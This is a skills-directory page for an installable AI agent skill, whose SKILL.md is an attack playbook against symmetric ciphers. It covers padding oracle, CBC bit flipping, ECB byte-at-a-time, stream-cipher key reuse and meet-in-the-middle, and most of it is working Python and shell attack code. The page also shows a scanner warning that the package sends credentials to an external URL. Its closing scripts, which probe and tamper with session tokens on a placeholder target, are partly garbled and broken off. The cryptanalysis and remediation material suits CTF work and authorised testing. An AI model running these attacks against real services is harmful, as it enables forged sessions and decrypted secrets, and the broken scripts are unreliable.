Skip to content
Back to skills

Symmetric Cipher Attacks

BSecurity

Symmetric cipher attack playbook. Use when exploiting block cipher mode weaknesses (CBC padding oracle, ECB cut-and-paste, bit flipping), stream cipher key reuse, or meet-in-the-middle attacks.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongobashreacttestinggitapi

Works with

  • api

Security analysis

B88/100
  • criticalSends environment variables or credentials to an external URL

Pro scans all 2 files and shows the line behind each finding

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill symmetric-cipher-attacks --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Symmetric Cipher Attacks?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Symmetric Cipher Attacks
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-symmetric-cipher-attacks/badge)](https://www.skillsdirectory.com/skills/harezadmm-symmetric-cipher-attacks)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: symmetric-cipher-attacks
description: >-
  Symmetric cipher attack playbook. Use when exploiting block cipher mode
  weaknesses (CBC padding oracle, ECB cut-and-paste, bit flipping), stream
  cipher key reuse, or meet-in-the-middle attacks.
---

# SKILL: Symmetric Cipher Attacks — Expert Cryptanalysis Playbook

> **AI LOAD INSTRUCTION**: Expert techniques for attacking symmetric encryption in CTF and authorized testing. Covers CBC padding oracle, CBC bit flipping, ECB detection and exploitation, stream cipher key reuse, LFSR/LCG state recovery, RC4 biases, and meet-in-the-middle attacks. Base models often confuse ECB and CBC attack strategies or fail to set up byte-at-a-time ECB decryption correctly.

## 0. RELATED ROUTING

- [rsa-attack-techniques](../rsa-attack-techniques/SKILL.md) when symmetric key is protected by RSA
- [hash-attack-techniques](../hash-attack-techniques/SKILL.md) when HMAC or hash-based authentication is involved
- [lattice-crypto-attacks](../lattice-crypto-attacks/SKILL.md) for LCG/LFSR state recovery via lattice methods

### Advanced Reference

Also load [BLOCK_CIPHER_ATTACKS.md](./BLOCK_CIPHER_ATTACKS.md) when you need:
- Detailed attack scripts with full Python implementations
- Step-by-step byte-at-a-time ECB walkthrough
- PadBuster usage and custom padding oracle scripts
- LCG/LFSR recovery implementation

### Quick attack selection

| Observable Behavior | Likely Weakness | Attack |
|---|---|---|
| Same plaintext → same ciphertext (block-aligned) | ECB mode | Cut-and-paste / byte-at-a-time |
| Padding error distinguishable | CBC padding oracle | Decrypt without key |
| Can modify ciphertext, affects next block | CBC mode, no integrity check | Bit flipping |
| Key reused with XOR/stream cipher | Two-time pad | XOR ciphertexts together |
| Predictable PRNG output | LCG or LFSR | State recovery |
| Double encryption used | 2DES-like | Meet in the middle |

---

## 1. PADDING ORACLE ATTACK (CBC MODE)

### 1.1 Mechanism

CBC decryption: `P_i = D_K(C_i) ⊕ C_{i-1}`

If the server reveals whether padding is valid (PKCS#7), we can decrypt any block by manipulating the previous ciphertext block.

### 1.2 Attack Steps

```
Target: decrypt block C_i (with unknown plaintext P_i)

For byte position b = 15 down to 0 (last byte first):
  padding_value = 16 - b
  
  For guess = 0x00 to 0xFF:
    Construct modified C'_{i-1}:
      - Bytes 0..b-1: original C_{i-1} bytes
      - Byte b: guess
      - Bytes b+1..15: calculated to produce correct padding
    
    Send (C'_{i-1} || C_i) to oracle
    
    If oracle says "valid padding":
      intermediate_byte[b] = guess ⊕ padding_value
      plaintext_byte[b] = intermediate_byte[b] ⊕ original_C_{i-1}[b]
```

### 1.3 Python Implementation

```python
def padding_oracle_attack(ciphertext, block_size, oracle):
    """
    oracle(ct) returns True if padding is valid, False otherwise.
    ciphertext includes IV as first block.
    """
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    plaintext = b""

    for block_idx in range(1, len(blocks)):
        prev_block = bytearray(blocks[block_idx - 1])
        curr_block = blocks[block_idx]
        intermediate = [0] * block_size
        decrypted = [0] * block_size

        for byte_pos in range(block_size - 1, -1, -1):
            padding_val = block_size - byte_pos

            for guess in range(256):
                modified = bytearray(block_size)
                modified[byte_pos] = guess

                for j in range(byte_pos + 1, block_size):
                    modified[j] = intermediate[j] ^ padding_val

                test_ct = bytes(modified) + curr_block
                if oracle(test_ct):
                    if byte_pos == block_size - 1:
                        # Verify it's not a false positive (padding 0x02 0x02)
                        check = bytearray(modified)
                        check[byte_pos - 1] ^= 1
                        if not oracle(bytes(check) + curr_block):
                            continue

                    intermediate[byte_pos] = guess ^ padding_val
                    decrypted[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                    break

        plaintext += bytes(decrypted)

    return plaintext
```

### 1.4 Tools

```bash
# PadBuster
padbuster http://target/decrypt?ct= CIPHERTEXT_HEX 16 -encoding 0
padbuster http://target/decrypt?ct= CIPHERTEXT_HEX 16 -encoding 0 -plaintext "admin=true"
```

---

## 2. CBC BIT FLIPPING

### 2.1 Concept

Flipping bit at position j in C_{i-1} flips the same bit at position j in P_i (and corrupts all of P_{i-1}).

```
Original:  P_i[j] = D_K(C_i)[j] ⊕ C_{i-1}[j]
Modified:  P'_i[j] = D_K(C_i)[j] ⊕ C'_{i-1}[j]
                    = P_i[j] ⊕ (C_{i-1}[j] ⊕ C'_{i-1}[j])
```

### 2.2 Practical Example

```python
def cbc_bitflip(ciphertext, block_size, target_byte_pos, old_value, new_value):
    """
    Flip byte in plaintext block N+1 by modifying ciphertext block N.
    target_byte_pos: absolute position in plaintext (0-indexed)
    """
    ct = bytearray(ciphertext)
    block_num = target_byte_pos // block_size
    byte_in_block = target_byte_pos % block_size

    # Modify previous block (block_num - 1) to flip target byte
    modify_pos = (block_num - 1) * block_size + byte_in_block

    # XOR to cancel old value and set new value
    ct[modify_pos] ^= old_value ^ new_value
    return bytes(ct)

# Example: flip "admin=0" to "admin=1"
# If "admin=0" is at byte position 22 (block 1, byte 6):
modified_ct = cbc_bitflip(ciphertext, 16, 22, ord('0'), ord('1'))
```

---

## 3. ECB MODE ATTACKS

### 3.1 Detection

```python
def detect_ecb(ciphertext, block_size=16):
    """ECB produces identical blocks for identical plaintext blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

# Force detection: send repeated plaintext
test_input = b"A" * 48  # at least 3 blocks of identical data
# If response has repeated blocks → ECB
```

### 3.2 ECB Cut-and-Paste

Reorder ciphertext blocks to create new valid plaintexts.

```
Original blocks:
  Block 0: "email=foo@bar.c"
  Block 1: "om&role=user&uid"
  Block 2: "=10\x0d\x0d\x0d..."

Attack: craft input so "admin" + padding lands in its own block,
then swap it in place of "user" block.

Step 1: Send email that aligns "admin" + PKCS7 to a block:
  email = "foo@bar.coadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b"
  → Block 1 encrypts "admin\x0b\x0b..."  (save this block)

Step 2: Send email that puts "role=" at end of block:
  email = "foo@bar.co"
  → Block 2 = "=user&uid=10..."  (but we replace this)

Step 3: Replace last block with saved "admin\x0b..." block
```

### 3.3 Byte-at-a-Time ECB Decryption

Decrypt unknown appended secret one byte at a time.

```python
def ecb_byte_at_a_time(encrypt_oracle, block_size=16):
    """
    encrypt_oracle(input_bytes) = AES_ECB(input || unknown_secret)
    Returns the unknown_secret.
    """
    secret = b""
    secret_len = len(encrypt_oracle(b"")) 

    for i in range(secret_len):
        block_num = i // block_size
        pad_len = block_size - 1 - (i % block_size)
        padding = b"A" * pad_len

        # Build lookup table
        target_ct = encrypt_oracle(padding)
        target_block = target_ct[block_num * block_size:(block_num + 1) * block_size]

        for byte_val in range(256):
            test_input = padding + secret + bytes([byte_val])
            test_ct = encrypt_oracle(test_input)
            test_block = test_ct[block_num * block_size:(block_num + 1) * block_size]

            if test_block == target_block:
                secret += bytes([byte_val])
                break

    return secret
```

---

## 4. STREAM CIPHER ATTACKS

### 4.1 Known Plaintext / Key Reuse (Two-Time Pad)

```python
def two_time_pad(c1, c2, known_crib=None):
    """
    c1 = m1 ⊕ K, c2 = m2 ⊕ K (same key K)
    c1 ⊕ c2 = m1 ⊕ m2 (key cancels)
    """
    xored = bytes(a ^ b for a, b in zip(c1, c2))

    if known_crib:
        results = []
        for offset in range(len(xored) - len(known_crib) + 1):
            candidate = bytes(
                xored[offset + i] ^ known_crib[i] for i in range(len(known_crib))
            )
            if all(0x20 <= b <= 0x7e for b in candidate):
                results.append((offset, candidate))
        return results
    return xored
```

### 4.2 Single-Byte XOR Brute Force

```python
def single_byte_xor_crack(ciphertext):
    """Brute force single-byte XOR key using frequency analysis."""
    english_freq = {
        'e': 12.7, 't': 9.1, 'a': 8.2, 'o': 7.5, 'i': 7.0,
        'n': 6.7, 's': 6.3, 'h': 6.1, 'r': 6.0, 'd': 4.3,
    }
    best_score, best_key, best_plaintext = 0, 0, b""

    for key in range(256):
        plaintext = bytes(b ^ key for b in ciphertext)
        score = sum(
            english_freq.get(chr(b).lower(), 0)
            for b in plaintext if 0x20 <= b <= 0x7e
        )
        if score > best_score:
            best_score = score
            best_key = key
            best_plaintext = plaintext

    return best_key, best_plaintext
```

### 4.3 Repeating-Key XOR (Kasiski-like)

```python
def repeating_xor_crack(ciphertext, max_keylen=40):
    """Crack repeating-key XOR using Hamming distance for key length."""
    def hamming(a, b):
        return sum(bin(x ^ y).count('1') for x, y in zip(a, b))

    # Find key length
    scores = []
    for kl in range(2, max_keylen + 1):
        blocks = [ciphertext[i:i+kl] for i in range(0, len(ciphertext) - kl, kl)]
        if len(blocks) < 4:
            continue
        dist = sum(hamming(blocks[i], blocks[i+1]) for i in range(min(3, len(blocks)-1)))
        normalized = dist / (min(3, len(blocks)-1) * kl)
        scores.append((normalized, kl))

    best_keylen = sorted(scores)[0][1]

    # Crack each position with single-byte XOR
    key = b""
    for i in range(best_keylen):
        column = bytes(ciphertext[j] for j in range(i, len(ciphertext), best_keylen))
        k, _ = single_byte_xor_crack(column)
        key += bytes([k])

    return key
```

### 4.4 LFSR State Recovery (Berlekamp-Massey)

```python
def berlekamp_massey_gf2(output_bits):
    """Recover LFSR feedback polynomial from output sequence over GF(2)."""
    n = len(output_bits)
    C = [0] * (n + 1)
    B = [0] * (n + 1)
    C[0] = B[0] = 1
    L = 0
    m = 1
    b = 1

    for N in range(n):
        d = output_bits[N]
        for i in range(1, L + 1):
            d ^= C[i] & output_bits[N - i]

        if d == 0:
            m += 1
        elif 2 * L <= N:
            T = C[:]
            for i in range(m, n + 1):
                C[i] ^= B[i - m]
            L = N + 1 - L
            B = T
            b = d
            m = 1
        else:
            for i in range(m, n + 1):
                C[i] ^= B[i - m]
            m += 1

    return C[:L + 1], L
```

### 4.5 RC4 Biases

| Bias | Description | Exploitation |
|---|---|---|
| Initial byte bias | P(K[0] = 0) ≈ 2/256 (double normal) | Statistical plaintext recovery for first bytes |
| Fluhrer-Mantin-Shamir | Weak key scheduling with IV | WEP attack (historical) |
| NOMORE attack | Long-term biases in keystream | TLS/RC4 plaintext recovery (2^24-2^26 ciphertexts) |
| Invariance weakness | Key-dependent biases throughout stream | Statistical attack on many encryptions |

---

## 5. MEET-IN-THE-MIDDLE

### 5.1 Double Encryption Attack

```
Double encryption: C = E_K2(E_K1(P))
Brute force: 2^(2n) expected
MITM:        2^(n+1) + storage for 2^n entries

Attack:
1. Encrypt P with all possible K1 → store (E_K1(P), K1) in table
2. Decrypt C with all possible K2 → check if D_K2(C) matches any entry
3. Match found → (K1, K2) recovered
```

```python
from itertools import product

def meet_in_the_middle(encrypt, decrypt, plaintext, ciphertext, keyspace_bits):
    """MITM attack on double encryption."""
    # Phase 1: build encryption table
    enc_table = {}
    for k1 in range(2**keyspace_bits):
        intermediate = encrypt(plaintext, k1)
        enc_table[intermediate] = k1

    # Phase 2: decrypt and look up
    for k2 in range(2**keyspace_bits):
        intermediate = decrypt(ciphertext, k2)
        if intermediate in enc_table:
            k1 = enc_table[intermediate]
            return k1, k2

    return None
```

---

## 6. DECISION TREE

```
Symmetric cipher challenge — what can you observe?
│
├─ Can you detect the mode?
│  ├─ Repeated input → repeated output blocks?
│  │  └─ Yes → ECB mode
│  │     ├─ Can control prefix → byte-at-a-time decryption
│  │     ├─ Can reorder blocks → cut-and-paste
│  │     └─ Can detect block boundaries → block alignment oracle
│  │
│  ├─ Error message differs for bad padding?
│  │  └─ Yes → Padding oracle (CBC)
│  │     └─ PadBuster or custom script
│  │
│  └─ Can modify ciphertext and observe effect?
│     └─ Next-block plaintext changes → CBC bit flipping
│
├─ Stream cipher or XOR?
│  ├─ Key reused on different messages?
│  │  └─ XOR ciphertexts → crib drag
│  │
│  ├─ Known plaintext-ciphertext pair?
│  │  └─ Recover keystream directly
│  │
│  ├─ Single-byte XOR key?
│  │  └─ Brute force 256 keys with frequency analysis
│  │
│  ├─ Repeating-key XOR?
│  │  └─ Hamming distance → key length → per-position crack
│  │
│  └─ LFSR-based?
│     └─ Berlekamp-Massey for state/polynomial recovery
│
├─ PRNG-based cipher?
│  ├─ LCG → truncated output lattice attack
│  ├─ Mersenne Twister → 624 outputs → full state recovery
│  └─ Custom PRNG → analyze period and state size
│
├─ Double / triple encryption?
│  └─ Meet-in-the-middle
│
└─ RC4 specifically?
   ├─ Single encryption → initial byte bias
   ├─ Many encryptions same key → statistical attack
   └─ IV prepended to key → FMS attack (WEP-like)
```

---

## 7. TOOLS

| Tool | Purpose |
|---|---|
| **PadBuster** | Automated padding oracle exploitation |
| **xortool** | Repeating-key XOR analysis (key length detection + cracking) |
| **CyberChef** | Quick XOR, encoding, block cipher operations |
| **SageMath** | LFSR/LCG analysis, lattice-based recovery |
| **pycryptodome** | AES/DES implementation for testing |
| **hashcat** | Brute force symmetric keys (GPU-accelerated) |
| **Custom Python** | All attacks above implementable in pure Python |
---

## 8. VERIFICATION AND FALSE-POSITIVE CONTROL

A mode inference or a recovered plaintext is only a result once it has been proven against a second observation. The tests below are mandatory before reporting.

### 8.1 ECB block-pattern verification (identical plaintext blocks -> identical ciphertext blocks)

The defining signature of ECB is that equal plaintext blocks at block-aligned offsets produce equal ciphertext blocks. Verify it with a forced-repeat probe, not with a guess about the input.

```python
def ecb_oracle_probe(encrypt_oracle, block_size=16):
    '''Feed >= 3 identical aligned blocks; ECB echoes them as identical ciphertext blocks.'''
    probe = b"A" * (block_size * 3)
    ct = encrypt_oracle(probe)
    blocks = [ct[i:i + block_size] for i in range(0, len(ct) - len(ct) % block_size, block_size)]
    seen, dupes = {}, []
    for idx, b in enumerate(blocks):
        if b in seen:
            dupes.append((seen[b], idx))
        else:
            seen[b] = idx
    return len(dupes) > 0, dupes
```

Proving ECB rather than assuming it:

- The repeated ciphertext blocks must be at the *same block offsets* across two different probes whose inputs agree on those blocks. A single probe can collide by chance; two agreeing probes cannot (the collision probability is 2^-128 for AES, not a plausible accident).
- The collision must disappear when the probe length is shifted by one byte (misaligning block boundaries). If repeated blocks survive a one-byte shift, the "ECB" is really a repeating-key stream or a fixed-prefix artefact, not ECB.
- Verify against a control: a CBC encryption of the same probe with a fresh IV must NOT show the repetition. Running both and comparing is what separates "ECB detected" from "the oracle echoes my input".

```python
def confirm_ecb(encrypt_oracle, block_size=16):
    '''Two independent pieces of evidence, plus a misalignment control.'''
    hit1, _ = ecb_oracle_probe(encrypt_oracle, block_size)
    if not hit1:
        return False
    shifted = b"A" * (block_size * 3 + 1)
    ct = encrypt_oracle(shifted)
    blocks = [ct[i:i + block_size] for i in range(0, len(ct) - len(ct) % block_size, block_size)]
    if len(blocks) != len(set(blocks)):
        return False  # repetition survived misalignment -> not ECB block structure
    return True
```

Once ECB is established, the byte-at-a-time and cut-and-paste attacks are only proven when the recovered plaintext reproduces the oracle output exactly:

```python
def verify_ecb_recovery(encrypt_oracle, recovered_prefix_ct, recovered_plaintext):
    '''Re-encrypting under the same oracle must reproduce the captured ciphertext.'''
    return encrypt_oracle(recovered_plaintext) == recovered_prefix_ct
```

For byte-at-a-time decryption the stronger check is per-step: at every recovered position, the plaintext prefix recovered so far must still explain all previously matched lookup blocks. A single wrong byte makes every later block stop matching, which is the observable failure signal.

For cut-and-paste, verify by feeding the spliced ciphertext back to the decryptor and confirming the privileged field actually changed value in the output (e.g. `role=admin`), not merely that decryption succeeded. "No padding error" is not proof of a successful forgery.

### 8.2 Nonce/IV reuse in CTR and GCM: two-ciphertext XOR proof

In CTR (and GCM, whose confidentiality layer is CTR) the keystream depends only on (key, nonce/counter). Reusing a nonce with the same key reuses the keystream, and the keystream cancels under XOR:

```text
C1 = P1 XOR KS      C2 = P2 XOR KS
C1 XOR C2 = P1 XOR P2      (keystream eliminated, key never needed)
```

```python
def ctr_nonce_reuse_proof(c1, c2, known_plaintext_1=None):
    '''Recover P2 given P1, or P1 given P2, from two keystream-reusing ciphertexts.'''
    xored = bytes(a ^ b for a, b in zip(c1, c2))  # == P1 ^ P2
    if known_plaintext_1 is not None:
        n = min(len(xored), len(known_plaintext_1))
        return bytes(xored[i] ^ known_plaintext_1[i] for i in range(n))
    return xored
```

This is a *proof*, not a heuristic: it is verifiable arithmetic with no unknown key. Confirm the reuse rather than assuming it:

- Encrypt two **known, unequal** test plaintexts under the candidate nonce. If `C1 XOR C2 == P1 XOR P2` exactly, the keystream is identical and the nonce was reused. This is the definitive reuse test.
- The equality must hold over the full overlapping length. A match on only the first block means counter-based reuse within a block, which is a different (partial) condition.
- Align the two ciphertexts to the nonce boundary first. A one-byte offset makes the relation fail even under true reuse.
- For GCM the same test applies to the ciphertext body; the authentication tag is computed over ciphertext with a GHASH key, so a reused nonce also enables tag forgery, but that is a separate attack. The confidentiality proof above is complete on its own.

Recovered-plaintext verification: the derived `P1 XOR P2` must strip back to a plausible plaintext in the expected format, and re-encrypting either known plaintext must reproduce its ciphertext. If `C1 XOR C2` is indistinguishable from random, the nonces differed and there is no result.

### 8.3 Keystream recovery is only proven by a second ciphertext

Recovering keystream from one known plaintext-ciphertext pair (`KS = C1 XOR P1`) is **not** proof that the key was recovered, and it is not proof that the keystream generalizes. It only proves that one message was decrypted. The keystream is proven only by decrypting a **second, different ciphertext** with it:

```python
def prove_keystream(keystream, other_ciphertext):
    '''Decrypt a second ciphertext with the recovered keystream.'''
    n = min(len(keystream), len(other_ciphertext))
    return bytes(keystream[i] ^ other_ciphertext[i] for i in range(n))
```

```python
def verify_keystream(keystream, c1, p1, c2, expected_p2=None):
    '''First pair confirms KS; second ciphertext is what proves it.'''
    ok_first = bytes(a ^ b for a, b in zip(c1, p1))[:len(keystream)] == keystream[:len(c1)]
    p2 = prove_keystream(keystream, c2)
    if expected_p2 is not None:
        return ok_first and p2 == expected_p2
    return ok_first, p2
```

Interpretation rules:

- One pair alone proves nothing about generalization: any byte string can be explained as the keystream for that single pair, so the "recovery" is unfalsifiable.
- A keystream that decrypts the second ciphertext into the expected structure (correct flag format, headers, padding, or printable text) is proven.
- If the second decryption is garbage while the first was clean, the two ciphertexts did NOT share a keystream — stop and re-check nonce/IV reuse before reporting anything.
- The same discipline applies to two-time pad, RC4 biases, LFSR/LCG state recovery, and MITM: recover the state/key, then verify it against a held-out sample that was not used to derive it.

---

## 9. FAILURE MODES AND PITFALLS

### 9.1 Mode-confusion traps

| Symptom | Real cause | Correct action |
|---|---|---|
| Repeated ciphertext blocks | ECB, or a fixed prefix the oracle echoes | Run the two-probe plus misalignment control (8.1) |
| Repeated blocks vanish after a 1-byte shift | Not ECB block structure | Treat as repeating-key stream / fixed prefix |
| "Valid padding" on every input | Oracle accepts or normalizes anything | Build a control input that must fail; if none fails, there is no oracle |
| Decryption succeeds but field unchanged | Spliced block landed at the wrong offset | Recompute block alignment; do not report success |
| Two ciphertexts XOR to random | Nonces differed | No key reuse; no result |
| Keystream decrypts one message only | Coincidental or per-message keystream | Require the second-ciphertext proof (8.3) |

### 9.2 Arithmetic and alignment traps

- CBC padding oracle false positives: a guess producing padding `0x02 0x02` also validates. Always perturb a second byte and confirm the oracle flips, as in the existing 1.3 implementation.
- Bit-flipping corrupts the entire previous block. Verify the target field changed *and* that the preceding block's corruption did not break whatever parser you depend on.
- CTR counter width and endianness: reuse detection and keystream alignment both depend on the counter starting at the same block boundary.
- GCM ciphertext bodies are not block-aligned padding-wise; truncate to the shared length before XOR.
- Byte-at-a-time ECB requires the attacker prefix to be shifted so the target byte sits at the last position of a block; an off-by-one makes every lookup miss.

### 9.3 Reporting discipline

State the mode, the observation that proves it, and the verification that confirms the recovery. Never report a plaintext recovered from a single pair as a keystream result; require the second ciphertext (8.3). Never report a splice as a forgery without confirming the semantic field changed.

---

## 10. QUICK REFERENCE CARD

```text
GIVEN ciphertext(s)
│
├─ repeated blocks at aligned offsets? → ECB      [2 probes + misalignment control]
│    ├─ controllable prefix?           → byte-at-a-time
│    └─ reorderable blocks?            → cut-and-paste [verify field changed]
├─ padding error distinguishable?      → CBC padding oracle [2-byte confirm]
├─ can flip ciphertext bits?           → CBC bit flipping [verify next block]
├─ same nonce/IV twice?                → verification: C1^C2 == P1^P2
├─ known plaintext for one message?    → KS = C^P   [prove with 2nd ciphertext]
├─ single-byte XOR key?                → 256-way frequency brute force
├─ repeating-key XOR?                  → Hamming -> keylen -> per-column
├─ LFSR output?                        → Berlekamp-Massey
└─ double encryption?                  → meet-in-the-middle
```

| Check | Formula | Applies to |
|---|---|---|
| ECB repeat | equal blocks at equal, block-aligned offsets across 2 probes | ECB detection |
| Misalignment control | repeats vanish when input shifts by 1 byte | ECB vs. stream/fixed prefix |
| Splice verification | decryptor output shows the privileged value | Cut-and-paste |
| Nonce reuse | `C1 XOR C2 == P1 XOR P2` on known test plaintexts | CTR / GCM |
| Keystream proof | second ciphertext decrypts to expected structure | XOR / stream / RC4 |
| State proof | recovered state predicts a held-out sample | LFSR / LCG / PRNG |

---

## 11. EVIDENCE STANDARD

| Item | Why |
|---|---|
| The **ciphertext(s)** in full, with the exact encoding, and any IV/nonce | the attack is a function of these exact bytes plus the IV; without the IV a block-mode proof is unreproducible |
| The **mode and algorithm** as observed (ECB/CBC/CTR/GCM, AES/DES/RC4) | the same bytes have different attacks per mode; "AES" alone does not fix the finding |
| The **recovered material** — plaintext, keystream, key, or a forged ciphertext | the artefact the finding is about |
| The **verification output** — the ECB block-pattern match, `C1 XOR C2 == P1 XOR P2`, or a second ciphertext decrypting via the recovered keystream | the mandatory proof; see §8 |
| The **oracle interaction count** for padding-oracle work (how many requests to recover one block, and total) | feasibility and detection; thousands of requests is itself a signal |
| The **known-plaintext pair** used, and where it came from | cut-and-paste and bit-flipping attacks require a controlled plaintext; the source is part of the method |
| The **authenticated-encryption status** — was there a MAC/AEAD tag, and did the forge pass it? | determines whether the finding is confidentiality-only or a full bypass |
| **Negative control** — the same technique against a correctly randomized/nonce-unique sample fails | proves the weakness is in the target |

Report the **mode and the mechanism**: "the session cookie is AES-CBC without a MAC; bit-flipping
byte 12 of the IV changes `role=user` to `role=admin` and the server accepts the forged cookie",
never "the application uses AES insecurely".

### False positives — do not report these

| Observation | Why it is not a finding |
|---|---|
| ECB pattern detected but the encrypted data is **public or non-sensitive** | no confidentiality boundary crossed |
| `C1 XOR C2 == P1 XOR P2` on tester-generated ciphertexts only | proves the tool, not the target |
| A pad-oracle "hit" that is the same padding error for all inputs | a uniform error is the *fix*; not an oracle |
| Recovered keystream that fails on a second ciphertext | coincidence or a wrong nonce assumption |
| CBC bit-flip that corrupts the block and is rejected | integrity control working |
| "RSA/3DES/AES-ECB is used" with no demonstrated exploitation | algorithm weakness alone is not a finding |
| Ciphertext length a multiple of 16 reported as "ECB vulnerability" | that is a block-size observation, not a mode break |
| Padding error distinguishable **only** by a millisecond difference on 20 samples | statistical noise; needs a large, reported sample |
| GCM nonce reuse claimed from a **single** ciphertext | reuse requires two messages under the same nonce; one is not evidence |

**Match the proof to the claim.** A confidentiality finding needs the plaintext; a forgery finding
needs the server to accept the modified message.

---

---

## 12. REMEDIATION REFERENCE

1. **Never use ECB for data with repeated structure** — ECB leaks equality of plaintext blocks; use a mode with an IV/nonce, and if ECB is mandated by an external format, apply a random prefix or a deterministic synthetic IV.
2. **Use authenticated encryption (AES-GCM, ChaCha20-Poly1305) or encrypt-then-MAC** — bit-flipping, CBC padding oracles, and cut-and-paste attacks all require unauthenticated ciphertext; a MAC checked before decryption removes the class.
3. **Never reuse a nonce or IV with the same key** — in CTR/GCM, nonce reuse collapses to `C1 XOR C2 == P1 XOR P2`; generate a random 96-bit nonce (or a strictly increasing counter that cannot wrap) and treat a collision as catastrophic.
4. **Verify the MAC before decrypting, and in constant time** — a padding oracle exists because decryption is attempted before authentication, and because errors are distinguishable; use a constant-time comparison and return one uniform error for every failure.
5. **Randomize padding and do not expose padding validity** — with PKCS#7 CBC, use a MAC, and make all decryption failures indistinguishable in status, body, and timing.
6. **Bind the ciphertext to its context** — include the user, resource, and expiry as associated data (GCM AAD) or as a MAC input, so a valid ciphertext cannot be replayed into a different context.
7. **Use a modern KDF for keys, and derive per-message keys where possible** — a key derived from a password without a memory-hard KDF is brute-forceable; per-message key derivation limits the blast radius of a single nonce mistake.
8. **Disable legacy ciphers and modes at the library level** — DES/3DES, RC4, ECB, and CBC-without-MAC should be rejected by configuration and by a CI check, not merely discouraged in review.
9. **Choose the mode for the data, not the default** — streaming data needs CTR/GCM with careful nonce management; disk/at-rest data needs a mode with a wide block (XTS) and per-sector tweaks; the wrong choice creates the weakness the attacks in this file exploit.
10. **Log and alert on oracle-shaped traffic** — thousands of decryption requests returning near-identical errors, or repeated ciphertexts with single-byte changes, are the observable footprint of every attack above.

---

---

## 13. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Does the oracle **distinguish the two cases** you claim it distinguishes? | the primitive exists, before anything is recovered |
| 2 | Is the distinction **reproducible** over repeated trials with the same input? | it is a signal, not noise |
| 3 | Is there a **false-positive rate** measured against random inputs? | the signal-to-noise ratio the attack depends on |
| 4 | Did you **recover a known plaintext**, byte for byte? | the primitive works, verified against ground truth |
| 5 | Did you recover a plaintext you **did not know** and can verify independently? | the exploitation, not the calibration |
| 6 | Is the ciphertext obtained from a **real application message** or from your own harness? | the finding applies to the target |
| 7 | Is the key or plaintext **still valid** at the time of reporting? | the impact is live |

**Calibrate on a plaintext you know, then recover one you do not.** An attack demonstrated only
against a value you created yourself tests your own harness, not the target.

---

## 14. EXECUTION PRIMITIVES

A cipher attack is proven by **recovering a value and verifying it against ground truth**. An oracle
you believe distinguishes two cases, with no recovery, is a hypothesis.

### 15.1 Build the oracle and calibrate it against known plaintext

```bash
T="https://target.tld"
S="session=PASTE"
# the oracle: does the endpoint tell you anything about validity, distinguishable from noise?
# record status, size, body, and timing - the oracle is often not the status code
probe() {
  curl -sS -o /tmp/o -w '%{http_code} %{size_download} %{time_total}'     "$T/api/decrypt?token=$1" -H "Cookie: $S"
  echo " $(md5sum /tmp/o | cut -c1-8)"
}
# a valid ciphertext produced by the application itself is the calibration input
curl -sS -o /tmp/valid "$T/api/encrypt?plain=AAAAAAAAAAAAAAAA" -H "Cookie: $S"
V=$(python3 -c "import json;print(json.load(open('/tmp/valid'))['token'])" 2>/dev/null || cat /tmp/valid)
echo "valid:   $(probe "$V")"
# and a corrupted one, to see whether the oracle reacts at all
echo "corrupt: $(probe "${V%?}X")"
echo "random:  $(probe "$(head -c 16 /dev/urandom | basenc --base64url | tr -d '=')")"
```

**Calibrate before attacking.** If a corrupted token and a random token produce identical responses,
there is no oracle and the attack cannot be built - record that and stop, rather than proceeding with
an assumed oracle.

### 15.2 Padding oracle, measured

```bash
# the classic bit-flipping loop, with a control measurement at every step
python3 - <<'PY'
import urllib.request, json, base64, time

T="https://target.tld"; S="session=PASTE"
def oracle(ct):
    r=urllib.request.Request(f"{T}/api/decrypt?token={ct}",headers={"Cookie":S})
    s=time.time()
    try:
        x=urllib.request.urlopen(r,timeout=15); b=x.read(); return x.status,len(b),time.time()-s,b
    except urllib.error.HTTPError as e: return e.code,len(e.read()),time.time()-s,b""
    except Exception: return None,0,0.0,b""

def ct_of(plain):
    r=urllib.request.Request(f"{T}/api/encrypt?plain={plain}",headers={"Cookie":S})
    return json.loads(urllib.request.urlopen(r).read())["token"]

good=ct_of("A"*16)
c1,c2=good[:22],good[22:] if False else (good[:len(good)*2//3], good[len(good)*2//3:])
print("baseline valid  :", oracle(good)[:2])
print("baseline corrupt:", oracle(c2[:-1]+"X")[:2])
print()
print("1) measure the oracle's separation over random inputs - this is the noise floor")
import random,string
hits=0
for _ in range(40):
    r="".join(random.choice(string.ascii_letters+string.digits) for _ in range(len(good)))
    st,ln,_,_=oracle(r)
    if st==oracle(good)[0]: hits+=1
print(f"   false-positive rate: {hits}/40 = {hits/40:.2%}  (a high rate means no usable oracle)")
print()
print("2) the actual byte-wise loop, using the first byte as the calibration")
print("   for each position: flip candidate values in the preceding block, keep the one the oracle accepts")
print("   verify by recovering a plaintext you KNOW first, then one you do not")
PY
```

**Measure the false-positive rate before attacking.** A padding oracle whose error page appears 40% of
the time on random input does not yield a recovery, and reporting it as a finding is the narasi failure.

### 15.3 CBC bit flipping, verified against a changed field

```bash
# the goal: change a field in an encrypted cookie or token, and have the server accept it
python3 - <<'PY'
import base64, urllib.request, json
T="https://target.tld"; S="session=PASTE"
raw=base64.urlsafe_b64decode("PASTE_CIPHERTEXT".ljust(0))
print("ciphertext blocks:", len(raw)//16, "| last block bytes:", len(raw)%16)
# flip a bit in block N-1 to change a byte in block N, and observe whether it is accepted
for pos in range(min(32,len(raw))):
    mod=bytearray(raw); mod[pos]^=0x01
    tok=base64.urlsafe_b64encode(bytes(mod)).decode()
    r=urllib.request.Request(f"{T}/api/me?token={tok}",headers={"Cookie":S})
    try:
        x=urllib.request.urlopen(r,timeout=10); b=x.read().decode(errors="ignore")
